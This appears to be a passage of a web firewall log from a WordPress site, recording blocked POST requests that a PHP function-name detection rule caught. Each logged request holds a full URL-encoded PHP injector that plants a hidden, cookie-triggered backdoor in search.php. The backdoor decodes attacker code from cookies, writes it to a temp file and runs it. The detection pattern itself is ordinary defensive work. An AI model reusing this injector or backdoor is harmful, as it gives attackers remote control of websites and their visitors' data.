C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEIpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWdqKA0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:4280\n\nEW=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/search.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-9%252B9%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-23%252B24%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B6%252B-3%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B9-5%255D%2529%2529%2520%257B%2520%2524comp%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524itm%2529%2520%257B%2520%2524comp%2520%253D%2520%2524_COOKIE%253B%2520%2524ent%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527e61beecb%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524ent%2529%2529%2520%257B%2520%2524ent%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522buffer_cache%2522%253B%2520%257D%2520%2524value%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524comp%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524ent%2529%2529%2520%257B%2520%2524object%2520%253D%2520fopen%2528%2524ent%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524object%252C%2520%2524value%2529%253B%2520fclose%2528%2524object%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524ent%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524ent%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524key%2520%253D%2520%252226cdccacbf3bb447da3127689bf19f2d%2522%253B%2520if%2520%2528%2521strncmp%2528%2524key%252C%2520%2524comp%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522event_handler_mutex_lock%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:57:59","78.142.18.172","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> sX:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/search.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-9%252B9%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-23%252B24%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B6%252B-3%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B9-5%255D%2529%2529%2520%257B%2520%2524comp%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524itm%2529%2520%257B%2520%2524comp%2520%253D%2520%2524_COOKIE%253B%2520%2524ent%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527e61beecb%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524ent%2529%2529%2520%257B%2520%2524ent%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522buffer_cache%2522%253B%2520%257D%2520%2524value%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524comp%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524ent%2529%2529%2520%257B%2520%2524object%2520%253D%2520fopen%2528%2524ent%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524object%252C%2520%2524value%2529%253B%2520fclose%2528%2524object%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524ent%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524ent%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524key%2520%253D%2520%252226cdccacbf3bb447da3127689bf19f2d%2522%253B%2520if%2520%2528%2521strncmp%2528%2524key%252C%2520%2524comp%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522event_handler_mutex_lock%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvp1tvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-length:4280\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\n\nsX=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/search.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-9%252B9%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-23%252B24%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B6%252B-3%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B9-5%255D%2529%2529%2520%257B%2520%2524comp%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524itm%2529%2520%257B%2520%2524comp%2520%253D%2520%2524_COOKIE%253B%2520%2524ent%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527e61beecb%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524ent%2529%2529%2520%257B%2520%2524ent%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522buffer_cache%2522%253B%2520%257D%2520%2524value%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524comp%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524ent%2529%2529%2520%257B%2520%2524object%2520%253D%2520fopen%2528%2524ent%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524object%252C%2520%2524value%2529%253B%2520fclose%2528%2524object%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524ent%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524ent%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524key%2520%253D%2520%252226cdccacbf3bb447da3127689bf19f2d%2522%253B%2520if%2520%2528%2521strncmp%2528%2524key%252C%2520%2524comp%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522event_handler_mutex_lock%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:58:02","144.76.215.54","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ff:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/search.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-9%252B9%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-23%252B24%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B6%252B-3%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B9-5%255D%2529%2529%2520%257B%2520%2524comp%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524itm%2529%2520%257B%2520%2524comp%2520%253D%2520%2524_COOKIE%253B%2520%2524ent%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527e61beecb%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524ent%2529%2529%2520%257B%2520%2524ent%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522buffer_cache%2522%253B%2520%257D%2520%2524value%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524comp%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524ent%2529%2529%2520%257B%2520%2524object%2520%253D%2520fopen%2528%2524ent%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524object%252C%2520%2524value%2529%253B%2520fclose%2528%2524object%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524ent%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524ent%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524key%2520%253D%2520%252226cdccacbf3bb447da3127689bf19f2d%2522%253B%2520if%2520%2528%2521strncmp%2528%2524key%252C%2520%2524comp%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522event_handler_mutex_lock%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:4280\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEzLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\n\nFf=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/search.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-9%252B9%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-23%252B24%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B6%252B-3%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B9-5%255D%2529%2529%2520%257B%2520%2524comp%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524itm%2529%2520%257B%2520%2524comp%2520%253D%2520%2524_COOKIE%253B%2520%2524ent%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527e61beecb%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524ent%2529%2529%2520%257B%2520%2524ent%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522buffer_cache%2522%253B%2520%257D%2520%2524value%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524comp%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524ent%2529%2529%2520%257B%2520%2524object%2520%253D%2520fopen%2528%2524ent%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524object%252C%2520%2524value%2529%253B%2520fclose%2528%2524object%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524ent%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524ent%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524key%2520%253D%2520%252226cdccacbf3bb447da3127689bf19f2d%2522%253B%2520if%2520%2528%2521strncmp%2528%2524key%252C%2520%2524comp%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522event_handler_mutex_lock%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:58:05","123.30.233.13","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/search.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-9%252B9%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-23%252B24%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B6%252B-3%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B9-5%255D%2529%2529%2520%257B%2520%2524comp%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524itm%2529%2520%257B%2520%2524comp%2520%253D%2520%2524_COOKIE%253B%2520%2524ent%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527e61beecb%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524ent%2529%2529%2520%257B%2520%2524ent%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522buffer_cache%2522%253B%2520%257D%2520%2524value%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524comp%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524ent%2529%2529%2520%257B%2520%2524object%2520%253D%2520fopen%2528%2524ent%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524object%252C%2520%2524value%2529%253B%2520fclose%2528%2524object%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524ent%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524ent%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524key%2520%253D%2520%252226cdccacbf3bb447da3127689bf19f2d%2522%253B%2520if%2520%2528%2521strncmp%2528%2524key%252C%2520%2524comp%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522event_handler_mutex_lock%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nhost:dewenlabels.com\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google 